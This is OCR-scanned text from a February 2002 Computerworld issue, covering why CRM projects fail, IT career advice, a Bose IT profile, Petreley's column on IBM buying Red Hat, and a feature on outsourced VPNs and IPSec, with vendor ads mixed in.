A  Bain  &  Co.  director  offers  advice  on  how  to  make 
customer  relationship  management  projects  succeed 


Fifty-five  percent  of  all  customer  rela¬ 
tionship  management  (CRM)  programs 
fail,  according  to  Stamford,  Conn.-based 
Gartner  Inc.  A  2001  Bain  &  Co.  survey 
of  more  than  400  executives  found  that 
one  in  five  of  them  thought  their  CRM 
initiatives  had  actually 
damaged  customer  relation¬ 
ships.  Even  so.  Stamford- 
based  Meta  Group  Inc. 
predicts  that  the  CRM  soft¬ 
ware  market  will  more  than 
double,  from  $20  billion  last 
year  to  $46  billion  by  2003. 

Why  do  so  many  CRM 
projects  fail,  and  how  can  — — — 

you  increase  your  odds  of  success?  Darrell 
K.  Rigby,  a  director  at  Bain  &  Co.  in 
Boston,  tackles  those  questions  with  col¬ 
leagues  Frederick  F.  Reichheld  and  Phil 
Schefter  in  February’s  Harvard  Business 
Review.  Rigby  spoke  with  Computer- 
world’s  Kathleen  Melymuka  about  the 
perils  of  CRM. 

Q:  What  is  it  that  executives  don’t  under¬ 
stand  about  CRM? 

A:  The  biggest  problem  is  they  confuse 
strategy  with  software.  A  lot  of  execu¬ 
tives  don’t  understand  what  they’re 
implementing,  let  alone  how  much  it 
will  cost  or  how  long  it  will  take. 

Q:  What  is  CRM  really  about? 

A:  CRM  aligns  business  processes  with 
customer  strategies  to  build  customer 
loyalty  and  increase  profits  over  time. 
You’ll  notice  that  definition  doesn’t 
even  include  the  words  technology  or 
software. 

Q:  Who  should  be  in  charge  of  a  CRM  effort? 

A:  Somebody  who  is  as  close  as  possi¬ 
ble  to  the  customer.  In  some  organiza¬ 
tions  that  may  be  the  CEO,  and  in  oth¬ 
ers  [it]  may  be  the  head  of  marketing. 
But  it  needs  to  be  someone  who  is  go¬ 
ing  to  use  this  information  to  improve 
the  value  and  loyalty  of  customers,  so 
they  have  to  understand  customers 
intimately. 

Q;  You  say  that  many  companies  implement 
CRM  without  creating  a  customer  strategy. 
What  are  they  thinking? 


A:  They  are  thinking  that  software  will 
make  their  lives  easier.  They  look  at 
the  potential  for  automation  and  the 
improved  speed,  reduced  cost,  superi¬ 
or  targeting  and  say,  “Maybe  a  weapon 
like  this  is  the  answer  to  all  my  prob- 
lems.”  It  turns  out,  it’s  not. 


This  is  the  latest  in 
a  series  of  monthly 
discussions  with 
autho)^  of  articles 

in  the  HARVARD 
BUSINESS  REVIEW 

on  topics  of  interest 
to  IT  managers. 


Q:  How  do  I  develop  a  customer 
strategy? 

A:  Start  with  these  ques¬ 
tions:  “How  must  our  value 
proposition  change  to  earn 
greater  customer  loyalty? 
What  are  we  going  to  do  to 
make  the  customer  want  to 
do  more  business  with  us?  How  much 
customization  is  appropriate  and  prof¬ 
itable  for  our  strategy?” 

A  lot  of  companies  are  enticed  by  the 
idea  of  mass  customization,  but  many 
find  it  adds  more  costs  in  the  process 
than  customers  appreciate.  Getting 
that  right  is  crucial. 

Q:  Then  what? 

A:  Ask,  “What  is  the  potential  value  of 
increasing  the  loyalty  of  customers,  and 
how  much  does  it  vary  by  customer 
segment?”  Some  customer 
segments  are  extraordinarily 
profitable,  and  some  are  un¬ 
profitable.  The  last  thing  you 
want  to  do  is  spend  addition¬ 
al  money  to  attract  and  retain 
unprofitable  customers. 


Q:  Once  I’ve  got  a  customer 
strategy,  I’m  ready  to  develop  my 
CRM  technology,  right? 

A:  Well,  you’re  closer.  Strat¬ 
egy  is  the  first  step.  But 
changing  the  organization  to 
match  that  strategy  needs  to 
be  done  before  you’re  ready 
to  roll. 


Q:  How  do  these  changes  work? 

A:  A  while  back,  USAA  [financial  ser¬ 
vices  firm]  managers  invested  in  a 
device  to  measure  the  average  wait 
experienced  by  customers  calling  into 
their  phone  teams.  A  digital  score- 
board  tracked  this.  As  a  result,  phone 
reps  began  to  focus  more  on  getting 
customers  off  the  phone  quickly  than 
on  customer  service. 

[Management]  realized  the  potential 
effect,  took  down  the  digital  signs  and 
started  tracking  the  percentage  of  cus¬ 
tomers  who  completed  their  business 
on  the  first  call.  This  raises  the  issue  of 
what  kind  of  performance  you’re  look¬ 
ing  for.  You  have  to  get  the  right  mea¬ 
sures  and  set  people’s  compensation 
to  help  employees  want  this  as  much 
as  you  do.  Then  give  them  training  to 
enable  them  to  achieve  it. 

Q:  These  organizational  changes  can  take 
months  or  years,  but  CEOs  and  boards  are 
looking  for  results  tomorrow.  What’s  a  CRM 
team  to  do? 

A:  The  best  results  come  from  imple¬ 
menting  CRM  programs  in  a  modular 
fashion.  You  start  with  the  areas  where 
you  know  you  can  get  the  organization 
on  board  and  that  will  lead  to  quick  re¬ 
sults  and  encourage  additional  invest¬ 
ment  to  get  the  remaining  results, 

Q:  Can  you  give  an  example? 

A:  Wal-Mart  has  a  very  sophisticated 
system  for  tracking  what  customers 
bundle  together  in  shopping  carts. 
They  have  changed  the  merchandise 
locations  in  stores  to  make  sure  the 
things  that  tend  to  be  bought  together 
are  found  together.  But  they 
have  not  taken  the  step  of 
issuing  loyalty  cards  and  try¬ 
ing  to  differentiate  the  way 
they  treat  customers,  and 
they  may  never  do  that.  But 
changing  the  stores  to  be  as 
convenient  as  possible  has 
propelled  them  past  every 
retailer. 


DARRELL  K.  RIGBY 
of  Bain  &  Co.  says, 
“The  best  results 
come  from  imple¬ 
menting  CRM  pro¬ 
grams  in  a  modular 
fashion.” 


Q:  Why  does  the  organization  need  to 
change? 

A:  Companies  that  don’t  redefme  peo¬ 
ple’s  jobs  and  change  performance 
measures,  compensation  systems  and 
training  programs  often  introduce 
CRM  programs  but  get  no  traction 
from  them  at  all. 


Q;  Is  CRM  worth  all  this  trouble? 

A:  It  really  is.  When  it  works, 
CRM  allows  companies  to 
gather  customer  data  effi¬ 
ciently,  identifies  their  most 
valuable  customers  over 
time,  increases  loyalty  by  of¬ 
fering  customers  products  and  services 
they  want,  reduces  the  cost  of  providing 
those  and  makes  it  easier  to  acquire 
similar  customers  down  the  road.  The 
benefits  are  enormous.  I 

Look  for  Computerworld’s  Knowledge 
Center  on  CRM  in  the  Feb.  18  issue. 


Some  things  are  destined  to  succeed 


sharing  files  via  e-mail  isn't  one  of  them 


Introducing  the  Xythos  WebFile  Server  3.2 
Internet-enabled  file  management  for  the  enterprise 


Ultimate  File  Access  -  anytime,  anywhere,  from  your  browser  or  existing  desktop  applications 

•  Standards  Based  -  the  ultimate  WebDAV  file  server 

•  Safe  and  Secure  -  supports  existing  client  and  server  software 

•  Easy  Implementation  -  works  with  existing  network  and  storage  standards 

•  Lower  Costs  -  increase  productivity  as  you  reduce  your  storage  management  costs 

Free  IDC/Xythos  Whitepaper  -  discover  the  best  internet-enabled  file  management  software 
for  your  company 


Call  1  888  4XYTHOS  (1  888  499  8467)  or  visit  www.xythos.com/webfile54 


software,  inc. 


BUSINESSADVICE 


COMPUTERWORLD  February  11.  2002 


Dear  Career  Adviser: 

I  have  15-plus  years  of  experience  in  3GL  programming 
and  4GL  Ingres  database  programming,  knowledge  of 
complex  SQL  queries,  and  Cognos  experience.  What 
opportunities  can  I  expect  in  the  mid-Atlantic,  Southeast 
and  Midwest  regions?  —  Just  Checking 


Dear  Checking: 

Before  Sept.  11,  you  might 
have  easily  found  work  in 
big  East  Coast  cities  or  other 
places  that  are  home  to  com¬ 
panies  that  have  large  financial 
systems  and  strive  for  continu¬ 
al  improvements  in  reporting 
and  analysis.  But  these  days, 
you’re  likely  to  find  only  scat¬ 
tered  job  openings. 

Update  your  working  knowl¬ 
edge  of  modern  database  tools 
and  applications  such  as  Ora¬ 


cle  8i/9i,  DB2  or  SQL  2000  for 
Windows  NT,  says  Amanda 
Urban,  senior  executive  sales 
recruiter  at  e-business  integra¬ 
tor  Giber  Inc.  in  Greenwood 
Village,  Colo.  And  try  to  work 
with  development  tools  from 
Ottawa-based  Cognos  Inc.,  in¬ 
cluding  Visualizer,  Decision- 
Stream  for  ETL  and  Impromptu. 

With  your  background,  you 
might  earn  $65,000  to  $80,000 
per  year,  says  Urban.  Updated 
skills  could  add  $10,000  to 
$20,000. 


■  S  Dear  Career  Adviser: 

I’m  a  “young”  50,  with  train¬ 
ing,  experience  and  a  master’s 
degree.  I  have  a  hospital  and 
medical  systems  background, 
particularly  in  LANs  and  IBM’s 
AS/400 platform.  Please  tell  me 
about  emerging  IT  require¬ 
ments  in  health  care. 

—  HOPING  FOR  Health  Care 

Dear  Health  Care: 

On  the  surface,  the  health 


care  IT  market  looks  attrac¬ 
tive  due  to  a  growing  senior 
population,  an  increase  in  the 
number  of  prescriptions  being 
written  and  an  interest  in  au¬ 
tomation  products,  such  as 
PalmPnots  for  physicians.  But 
while  the  need  is  particularly 
great  for  pharmacists  and 
nurses,  the  IT  health  care  job 
market  is  constricted. 

Major  health  care  IT  con¬ 
sulting  firms,  such  as  First 
Consulting  Group  Inc. 
in  Long  Beach, 

Calif.,  have  seen 
demand  for  their 
services  drop  off, 
says  R.L.  Johnson, 
a  health  care  sys¬ 
tems  consultant 
and  market  fore¬ 
caster  in  Tracy, 

Calif. 

Consequently, 
hospitals  rather 
than  vendors  are 
where  the  action 
is  for  health  care 
IT  hiring,  particu¬ 


larly  if  you  have  experience 
with  applications  from  the 
major  health  care  information 
systems  vendors,  including 
Shared  Medical  Systems  Corp., 
McKesson  Information  Solu¬ 
tions  and  Corner  Corp.,  on 
Unix,  AS/400  or  NT  client/ 
server  platforms. 

In  addition,  look  to  initi¬ 
atives  from  The  Leapfrog 
Group  in  Washington,  a  con¬ 
sortium  of  major  U.S.  compa¬ 
nies  that  are  looking  to  con¬ 
tain  health  care 
costs  while  reduc¬ 
ing  medical  errors 
and  have  an  inter¬ 
est  in  applications 
involving  physi¬ 
cian  order  entry, 
says  Johnson. 

Finally,  for  infor¬ 
mation  about  jobs 
and  trends,  check 
out  the  Healthcare 
Information  and 
Management  Sys¬ 
tems  Society  at 
www.himss.org.  I 


FRAN  QuiTTEL  is  an  expert 
in  high-tech  careers  and 
recruitment.  Send 
questions  to  her  at 
www.comput8rwortd.com/ 
caraw.adviser. 


WORKSTYLES 

Teamwork  Buoys 
Big  Audio  at  Bose 


Steve  Devine,  manager  of 
business  administration  for 
corporate  information  sys¬ 
tems  at  Bose  Corp.,  talks 
about  what  it’s  like  to  work 
at  the  audio  systems  maker. 

How  would  you  describe  the  IT 
culture  at  Bose?  “It’s  casual, 
but  with  the  caveat  that 
we’re  striving  for  excellence 
as  well  as  respect.  If  some¬ 
one  says,  ‘I’ll  get  that  for 
you  by  Tuesday,’  on  Tues¬ 
day  it  will  be  on  their  desk. 
We’re  also  a  very  collab¬ 
orative  company.  When  I 
watched  the  New  England 
Patriots  this  season,  it  re¬ 
minded  me  of  us  —  it’s  a 
team  approach.” 

What  makes  Bose’s  IT  depart¬ 
ment  unique?  “Bose  is  all 


about  innovation  and  change, 
creating  things  that  are  new 
and  different  and  better.  So 
working  for  IT  at  a  bank 
would  be  different  from 
working  in  IT  here.  The 
company  was  founded  by  an 
educator  [MIT  professor 
Amar  Bose],  and  he’s  look¬ 
ing  for  people  to  reach  their 
fullest  potential.  Being  pri¬ 
vately  held  also  makes  our 
company  very  different;  we 
are  free  to  focus  on  growing, 
staying  financially  healthy 
and  remaining  an  interest¬ 
ing  place  to  work.” 

What’s  an  example  of  a  recent 
IT/business  innovation?  “We 

implemented  Microsoft’s 
[Systems  Management  Serv¬ 
er]  for  software  distribution, 
which  freed  us  up  to  better 


service  the  engineering 
group.  Their  desktops  are 
like  Formula  One  cars,  and 
they  drive  them  hard  all  day.” 

What  are  the  most  critical  bus¬ 
iness  functions  supported  or 
developed  by  the  corporate  in¬ 
formation  systems  department 
on  a  daily  basis?  “We  support 
all  the  channels  through 
which  we  sell  our  products, 
plus  we  design  and  manu¬ 
facture  our  own  products 
and  have  our  own  in-house 
advertising  group.  So  we 
support  SAP,  Siebel  and 


all  the  [computer-aided 
design  and  engineering] 
systems,  general  ledger  and 
payroll.  Right  now,  we’re 
supporting  61  different  soft¬ 
ware  packages.” 

How  would  you  describe  the 
pace  of  the  work?  “It’s  busy  — 
but  good  busy.  And  then 
there  are  times  that  are  really 
hectic,  like  when  we’re  intro¬ 
ducing  a  new  product  or  do¬ 
ing  a  system  implementation 
or  a  major  upgrade.  We  have 
an  incredibly  busy  Christmas 
season,  and  if  we  have  any 


systems  issues  during  that, 
it’s  all  hands  on  deck.” 

How  is  career  advancement 
and  training  handled?  “We 
have  a  formal  career  devel¬ 
opment  planning  process, 
where  people  sit  with  their 
managers  and  figure  out 
where  they  want  to  be  in 
three  to  five  years  and  which 
assignments  will  help  them 
get  there.  Plus  we  have  a 
skills  inventory  of  things  we 
need  in  IT  to  move  forward.” 

What  do  you  look  forward  to 
each  day?  “I  like  solving  the 
puzzle,  figuring  out  new 
things  so  we  can  do  things 
better  than  anyplace  else. 
And,  of  course,  seeing  those 
ideas  come  to  fruition.” 

What  do  you  dread  each  day? 
“If  I  had  to  name  something 
I  didn’t  look  forward  to.  I’d 
say  e-mail.  That’s  the  down¬ 
side  of  technology  —  the 
‘cc:’  button  on  e-mail.” 

-MaryBrandel 

thebrandels@hotmail.com 


WEB  SITE 
TRAFFIC  JAMS 


You  can’t  have  too  much  of  a  good  thing.  Unless  you’re  talking 
Web  transactions — and  your  network  can’t  handle  the  load. 
After  Nabiscoworld.com  launched,  the  site  managers  faced 
exactly  this  issue:  too  many  visitors  were  arriving  at  the  site. 
Which  meant  too  many  people  were  turned  away.  Unhappy. 
AT&T  solved  the  problem.  We  re-architected  the  site  to  handle 
double  the  current  monthly  visits.  And  we  added  performance 
tracking  and  data-capture  tools  to  squeeze  out  more  usable 


information.  Result:  Nabiscoworld.com  receives  90%  more  visits. 
With  no  change  in  response  time.  And  at  greatly  reduced  cost. 
It’s  proof  that  the  right  investment  in  your  communications  not 
only  solves  problems.  It  brings  an  immediate  return.  A  return 
AT&T  helps  you  realize. 

Got  a  traffic  problem?  AT&T  can  help  you  solve  it. 

Results:  Measurable.  Possibilities:  Boundless. 

AT&T 


Call  AT&T  toll  free  at  I  866  346-9384  or  visit  us  at  www.attbusiness.com/return 


©2001  AT8T. 


Zero  Administration 


Automatically  eliminate  disk  fragmentation  and  unleash  full  system  speed 
on  one  desktop  or  across  your  entire  site! 


New  DISKEEPER®  7.0  "Set  It  and  Forget  It"®  disk  defragmenter 
for  Windows®  is  so  advanced  it  runs  itself,  precisely  when 
needed.  It's  like  hiring  an  expert  to  constantly  monitor  your 
system's  performance  and  keep  it  at  peak  levels.  New  Diskeeper 
7.0  defragments  drives  so  thoroughly  and  with  such  blazing  speed, 
it  makes  manual  "built-in"  technology  completely  obsolete. 


New!  "Pushinstair"  eliminates  the 

a 

time  and  cost  of  manual  installation  f- 
with  fast,  two-click  remote  operation.  NiS 
New!  Microsoft®  recommended  i 
lightning  fast  boot-time  defrag  for 
important  system  files  —  remotely  control 
&  schedule  across  site. 


^ornate: 
gHistest  Engine., - 
:?i:Tran$parent  On-line  Defrag 
^pa^  Scheduling 
tiEull  Network  Cont^^ 
l^tpl'fistallation 
Compatibility: 


Mndows  NT 
Windows  2000 
Windows  XP  r. 


Advanced  Features 


Ipcfbws  9X 
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In  today's  economic  climate,  it's  just  as  important  to  know  that 
Diskeeper  7.0  can  extend  the  productive  life  of  your  systems  up  to 
three  years,  significantly  reduce  your  TCO  and  cut  help  desk  calls 
in  half.  It's  one  reason  9  out  of  10  corporations  use  Diskeeper  over 
any  other  defragmenter.  In  fact,  it  costs  money  every  day  your 
machines  are  running  without  Diskeeper.  Follow  the  link  on  this 
page  to  buy  it  now. 


Exclusive:  "Smart  Scheduling"™  monitors  and  maintains  peak 
system  performance  intelligently  and  unobtrusively  without 
requiring  assistance. 


Certified  at  the  highest  level  for  Windows 
XP/2000/NT®  and  fully  compatible 
with  Windows  9X. 


tznnM 


wvvw.cw2.dlskeep^|^m 


cutiue' 
soltuiare 

focus«d  Oevelopment  ot  System  Management  Tools 


1-800-829-6468 

ext.  4002 


"Disk  fragmentation  can  cause  performance  problems.  You 
should  consider  running  a  defragmentation  program  on  a 
regular  basis.  "*  —  Microsoft  Windows  NT  Server  Resource  Guide 

0  2002  Executive  Software  Irttemational,  Itk.  All  Rights  Reserved.  DISKEEKR,  Executive  Software  the  Execute  Software  logo,  Pushing  'Set  it  and  Forget  K*  and  'Smart  Scheduing* 
are  either  re^stered  trademarks  or  trademarks  of  Executive  Software  IntematiorMi,  Inc  in  the  United  States  and/or  other  countries.  Microsoft,  VMowv  and  the  flag  logo  are  registered 
trademarks  or  trademarks  of  Microsoft  Corporation  in  the  United  States  and/or  other  countries.  Al  other  trademarks  and  brand  names  are  the  property  of  their  respective  owners.  *f(om 
Microsoft  V^rdows  NT  Server  Guide.  Reproduced  by  permission  of  Mcrosoft  Press.  Al  (tights  Re$et>ted. 
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OUTSOURCED  VPNs 

Setting  up  a  VPN  in-house  may 
seem  like  a  no-brainer  for  a  large 
company  willing  to  manage  it 
around  the  clock,  but  others  are 
more  than  willing  to  off-load  the 
headaches  to  a  service  provider. 
PAGE  36 


1.  Client  stores  file 
in  global  file  store. 


lobal  file  store 

FUTUREWATCH 

During  the  next  10  years,  operating 
systems  will  become  highly  distrib¬ 
uted  and  self-healing,  and  they  will 
collaborate  with  applications.  Ap¬ 
plication  programmers  will  find 
their  jobs  becoming  easier,  and 
end  users  will  see  better  responses 
and  reliability.  PAGE  38 


QUICKSTUDY 

Lightweight  Directory  Access  Pro¬ 
tocol  (LDAP)  was  developed  as  a 
PC-based  front  end  to  access 
X.500-compliant  directories.  LDAP 
works  over  TCP/IP  and  organizes 
people,  devices  and  applications  to 
reflect  geographical,  political  and 
organizational  boundaries.  Find 
out  more  in  this  week’s  primer. 
PAGE  40 


SECURITY  JOURNAL 

As  security  manager  Mathias 
Thurman  starts  a  new  job,  a  Nimda 
attack  affects  hundreds  of  his  com¬ 
pany’s  internal  servers.  His  chal¬ 
lenge  is  to  find  a  way  to  eradicate 
the  worm  without  disrupting  criti¬ 
cal  e-commerce  servers.  PAGE  42 


NICHOLAS  PETRELEY 


Turn  Red  Hat  Blue? 

Last  week,  I  described  some  reasons  why  it  could  be  a  good 
move  for  AOL  Time  Warner  to  purchase  Red  Hat.  My  arguments 
hinged  upon  the  idea  that  AOL  Time  Warner  might  use  Red  Hat 
Linux  to  create  an  inexpensive  desktop  appliance.  This  week,  I’ll 
tell  you  one  very  big  reason  why  it  would  be  bad  for  AOL  Time 
Warner  to  purchase  Red  Hat. 

Red  Hat  has  done  wonders  to  help  Linux  penetrate  the  server  market. 
An  AOL  Time  Warner  purchase  would  almost  certainly  upset  Red  Hat’s 


relationship  with  its  customers  and  server  vendors. 
This  might  prompt  them  to  look  elsewhere  for  a  Lin¬ 
ux  distribution.  Or  worse,  they  might  abandon  Linux 
altogether. 

Therefore  I’d  like  to  suggest  a  more  appropriate 
buyer  for  Red  Hat:  IBM. 

I  can  think  of  no  better  way  to  make  a  case  for  this 
purchase  than  by  answering  what  I  would  anticipate 
would  be  the  most  common  objections.  I’ll  start  with 
the  inevitable  suggestion  that  IBM  would  do  to  Red 
Hat  Linux  what  it  did  for  OS/2  —  ignore  it  to  death. 

IBM  regarded  OS/2  as  a  liability  only  because  the 
threat  of  OS/2  prompted  Microsoft  to  withhold  a  li¬ 
censing  deal  from  IBM  to  preload  Windows  95.  That 
threatened  IBM’s  profits  on  client  hardware  sales  just 
when  IBM  was  hoping  to  make  a  comeback  on  the 
desktop.  Today,  the  desktop  market  is  saturated.  IBM 
and  most  other  hardware  vendors  are  now  scram¬ 
bling  to  own  as  much  of  the  high-margin  server  mar¬ 
ket  as  possible.  Microsoft  doesn’t  have  any  clout  in 
this  space.  And  whether  or  not  they’ll  admit  it  pub¬ 
licly,  most  hardware  vendors  would  prefer  it  if  things 
stayed  that  way.  The  best  way  IBM  can  be  sure  it  will 
control  its  own  future  is  if  it  pushes  Linux  at  the  serv¬ 
er  now,  before  Microsoft  has  a  chance  to  take  over 
and  start  calling  the  shots. 

Others  will  point  out  that  IBM’s  pur¬ 
chasing  record  is  spotty  at  best.  IBM  wait¬ 
ed  until  Web  standards  nearly  rendered 
Lotus  Notes  irrelevant  before  purchasing 
Lotus.  But  IBM  hasn’t  been  entirely  dim 
with  all  of  its  purchases.  It  made  sense  for 
IBM  to  purchase  Informix,  for  example.  In¬ 
formix  gave  IBM  a  bigger  slice  of  the  data¬ 
base  market,  its  DataBlade  technology  and 
perhaps  best  of  all,  the  Red  Brick  data 
warehouse. 

But  that  begs  the  question.  What  tech¬ 
nology  would  IBM  get  from  Red  Hat?  Red 
Hat  is  open  source.  Like  everyone  else. 


NICHOLAS  PETRELEY  IS  a 
computer  consultant  and 
author  in  Hayward.  Calif. 
He  can  be  reached  at 
nicholas@petreley.com. 


IBM  can  get  open-source  software  for  free.  So  what 
could  possibly  motivate  IBM  to  take  on  the  burden  of 
developing  and  selling  an  open-source  operating  sys¬ 
tem  if  it  only  wants  Linux  in  order  to  sell  its  servers? 

For  one  thing,  IBM  has  already  taken  on  the  burden 
of  improving  Linux,  even  outside  of  the  work  it  has 
done  to  make  Linux  run  on  IBM  hardware.  I  suspect 
IBM  has  deliberately  avoided  drawing  attention  to  its 
contributions  so  far  to  prevent  a  backlash  from  con¬ 
spiracy  theorists  who  would  accuse  IBM  of  trying  to 
manipulate  Linux  to  its  exclusive  advantage.  That  re¬ 
mains  the  single  biggest  risk  for  IBM,  if  it  were  to 
consider  purchasing  Red  Hat.  It  could  easily  make 
too  many  enemies  inside  and  outside  the  Linux  com¬ 
munity  for  the  purchase  to  be  worthwhile. 

Here’s  what  IBM  has  to  consider  before  making  a 
purchase  like  Red  Hat.  Linux  needs  a  psychological 
boost  in  the  market.  Regardless  of  what  the  reality 
may  be,  many  potential  customers  still  don’t  perceive 
Linux  as  having  a  solid  service  and  support  infra¬ 
structure  that  will  exist  in  10  years.  If  IBM  purchases 
Red  Hat,  it  instantly  solves  this  perception  problem. 
IBM  is  an  ideal  service  and  support  organization. 

On  the  other  hand,  IBM’s  purchase  of  Red  Hat 
could  spook  hardware  competitors  like  Compaq  and 
HP.  It  isn’t  likely  that  these  competitors  would  react 
by  backing  off  on  their  support  for  Linux, 
but  it’s  not  out  of  the  question.  They’ve 
done  stupider  things  than  that.  If  they  did 
back  off  Linux,  IBM  would  look  like  it  bet 
on  the  wrong  horse.  That  would  under¬ 
mine  much  of  the  credibility  IBM  gave  to 
Linux  as  a  platform  by  purchasing  Red 
Hat. 

I  don’t  know  if  IBM  is  even  considering 
such  a  deal,  but  I  think  it  should.  IBM  has 
an  ace  in  the  hole  that  could  erase  any 
risks  involved  in  purchasing  Red  Hat.  I  call 
it  “hardware  devolution,”  and  I’ll  elaborate 
on  it  in  a  couple  of  weeks.  ► 
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Outsourcing  VPNs: 


J 


George  gaulda,  CIO  at  Link  Staff¬ 
ing  Inc.  wanted  to  securely  connect 
49  branch  offices  in  23  states  to  his 
company’s  Houston  headquarters. 
Gaulda  decided  he  needed  to  build 
a  virtual  private  network  (VPN)  to 
tie  the  far-flung  parts  of  Link 
Staffing  together.  Trouble  was,  he  lacked  the  staff  to 
design  and  manage  the  system  in-house. 

So  Gaulda  chose  OpenReach  Inc.  in  Woburn, 

Mass.,  to  provide  Link  Staffing  with  a  secure  VPN 
over  the  public  Internet. 

Link  Staffing  is  one  of  many  companies  that  are 
turning  to  outsourced  VPNs, 
whether  over  the  Internet  or 
through  the  private  IP  network  of  a 
service  provider.  Some  are  pinched 
for  security-sawy  network  person¬ 
nel.  And  even  some  that  have  the 
staffs  simply  want  to  off-load  the 
hassle  of  policing  increased  infra¬ 
structure  to  a  firm  that  provides 
VPNs  for  a  living. 

The  offerings  of  those  providers, 
however,  vary  significantly  and  re¬ 
quire  users  to  evaluate  their  needs 
thoroughly  and  select  their  providers  carefully. 

For  example,  Gaulda  discovered  that  his  firm  need¬ 
ed  a  VPN  service  that  used  the  Internet  as  the  trans¬ 
port  mechanism  but  didn’t  require  Link  Staffing  to 
replace  the  eight  Internet  service  providers  that  con¬ 
nect  its  remote  offices.  For  Link  Staffing,  technical 
support  for  the  VPN  was  also  a  crucial  issue  —  a  fact 
proved  by  bitter  experience. 

Prior  to  cutting  a  deal  with  OpenReach,  Gaulda 
says,  he  had  a  “very  bad  experience  with  a  major  ser¬ 
vice  provider.”  Gaulda  won’t  name  the  company,  but 
he  says  it  was  unwilling  to  provide  the  support  his 
firm  needed.  His  technicians  ended  up  doing  most  of 
the  VPN  support,  which  contradicted  the  idea  of  us¬ 


WHAT  IS  IT? 


i 


A  VPN  is  an  encrypted  tunnel 
through  an  existing  IP  net¬ 
work.  It  makes  a  company’s 
network  traffic  invisible  to  others 
that  might  be  using  the  same 
network,  be  it  the  Internet  or  a 
shared  private  network.  But  VPN 
services  vary  widely  in  approach, 
price  and  function,  which  makes 
the  choice  of  provider  crucial. 


For  Hire 


Companies  can  cut  costs  and  hassles 
by  subscribing  to  a  virtual  private  network 
service,  but  they  must  match  their  needs 
to  the  right  provider.  By  James  Cope 


ing  a  service  provider  in  the  first  place,  he  says. 

Although  OpenReach  manages  the  network,  Gaul¬ 
da  says  he  never  feels  out  of  the  control  loop  because 
he  can  view  VPN  performance  from  his  own  desktop 
through  a  special  browser-based  interface.  “I  can 
drill  down  to  the  workstation  level  on  a  remote  loca¬ 
tion  [to  see  how  the  VPN  is  performing],”  he  says. 

The  OpenReach  service  costs  Link  Staffing  $100 
per  month  per  site,  or  $4,900  per  month  total,  ac¬ 
cording  to  Gaulda. 

APL  Logistics  Ltd.,  a  contract  logistics  company 
and  unit  of  Singapore-based  shipping  giant  Neptune 
Orient  Lines  Ltd.,  wanted  one  managed  service 

provider  that  could  provide  VPN 
service  over  a  private  IP  network 
spanning  180  sites  in  32  countries. 
Network  availability  is  critical  to 
APL  because  scheduling  and  ship¬ 
ping  is  time-sensitive,  says  Cindy 
Stoddard,  the  Oakland,  Calif.-based 
firm’s  CIO.  APL  recently  selected 
Amsterdam-based  vendor  Equant 
NV,  signing  a  three-year,  $23-mil- 
lion  agreement  for  VPN  and  net¬ 
work  services.  APL  chose  Equant, 
says  Stoddard,  because  Equant  has 
global  reach  and  the  ability  to  manage  the  whole  net¬ 
work  and  employs  a  routing  scheme  that  speeds  up 
time-sensitive  traffic  rurming  over  a  VPN. 

Joe  Przepiora,  IT  manager  for  global  network  ser¬ 
vices  at  agribusiness  giant  Cargill  Inc.  in  Minneapo¬ 
lis,  pays  for  his  VPN  service  by  the  hour.  Cargill’s 
field  salespeople  and  other  remote  employees  log  on 
to  the  corporate  network  via  a  VPN  service  provided 
by  RemotePipes  Inc.  in  Mendota  Heights,  Minn. 

Many  of  Cargill’s  employees  work  in  rural  areas 
that  are  woefully  underserved  with  local  Internet 
service  provider  dial-up  numbers,  Przepiora  says, 
noting  that  RemotePipes  specializes  in  providing 
VPNs  over  the  public  Internet  via  toll-free  dial-up. 

Przepiora  acknowledges  that  analog  modem  con¬ 
nections  —  even  if  you’re  lucky  enough  to  get  a  quiet 
phone  line  for  a  connection  speed  above  56K  bit/sec. 
—  are  slow  compared  with  Digital  Subscriber  Line 
and  digital  cable  speeds  of  more  than  IM  bit/sec.  But, 
he  points  out,  at  least  his  people  can  connect. 

At  a  cost  of  $6  per  hour,  Cargill’s  remote  users  can 
log  on  to  the  company  network  via  a  VPN  that  uses 
IPSec  encryption  —  the  current  protocol  for  end-to- 
end  encryption  forged  by  the  Internet  Engineering 
Task  Force  (IETF).  E-mail  and  sales  force  automation 
systems  are  among  the  applications  most  frequently 
accessed  through  the  VPN  service,  Przepiora  notes. 

Many  providers  that  use  the  Internet  for  VPN  con¬ 
nections  either  have  VPN  devices  or  require  VPN 
networking  software  to  be  installed  on  remote  user 
PCs.  But  RemotePipes  facilitates  remote  dial-up  con¬ 
nections  without  requiring  VPN  client  software. 

That  means  there’s  one  less  thing  to  go  wrong  on  re¬ 
mote  users’  PCs,  says  Przepiora.  But  national  cover¬ 
age  coupled  with  fixed  price  is  really  RemotePipes’ 
strength,  he  notes. 

IP-based  VPNs  don’t  always  run  over  native  IP  net¬ 
works,  which  leads  to  confusion  about  what’s  really 
happening  technically  with  any  given  VPN  service, 
says  Jason  Smolek,  an  analyst  at  IDC  in  Framingham, 
Mass.  For  example,  AT&T  Corp.  offers  what  it  calls  a 
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VPN  From  a 
Service  Provider 

Data  is  encrypted  and  encapsulated  in  IP  •  •  H  • 

packets  before  passing  through  the  user’s  edge  /  remote 

router/gateway  device  onto  the  Internet  or  ^ 

provider  network  and  is  automatically  ^  ^ 
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IPSec:  Making  the  VPN  Secure 


IPSec  is  a  near-ubiquitous  VPN  security 
standard.  IP  VPNs  on  the  public  Internet  use 
it.  Hybrid  networks  that  may  employ  private 
virtual  frame-relay  circuits  and  the  Internet 
use  it.  Even  private  networks  that  require  an 
additional  level  of  security  across  parts  of  the 
network  or  the  entire  network  use  IPSec. 

IPSec  is  a  security  protocol  set  by  the 
IETF  for  securing  the  transmission  of  data 
across  IP  networks.  It  operates  at  the 
network  layer  of  the  Open  System 
Interconnection  standard,  authenticating 
and  encrypting  all  packets  that  traverse  the 
network,  no  matter  what  the  application. 

IPSec  separates  network  traffic  virtually, 
using  tunneling  and  encryption  protocols. 


and  it  makes  the  data  on  shared  pipes 
invisible  to  other  users  who  push  their  data 
through  the  same  wires  or  airwaves. 

There  are  two  security  modes  possible 
with  IPSec:  the  Transport  Mode,  in  which 
only  the  payload  (data)  part  of  the  packet  is 
encapsulated  through  encryption  but  in 
which  the  IP  header  remains  in  the  clear;  and 
the  Tunnel  Mode,  where  IPSec  encap¬ 
sulates  everything,  including  the  original  IP 
header,  and  generates  a  new  header  to  guide 
packets.  The  Transport  Mode  is  normally 
used  for  VPN  connections  between 
computers,  whereas  the  Tunnel  Mode  is 
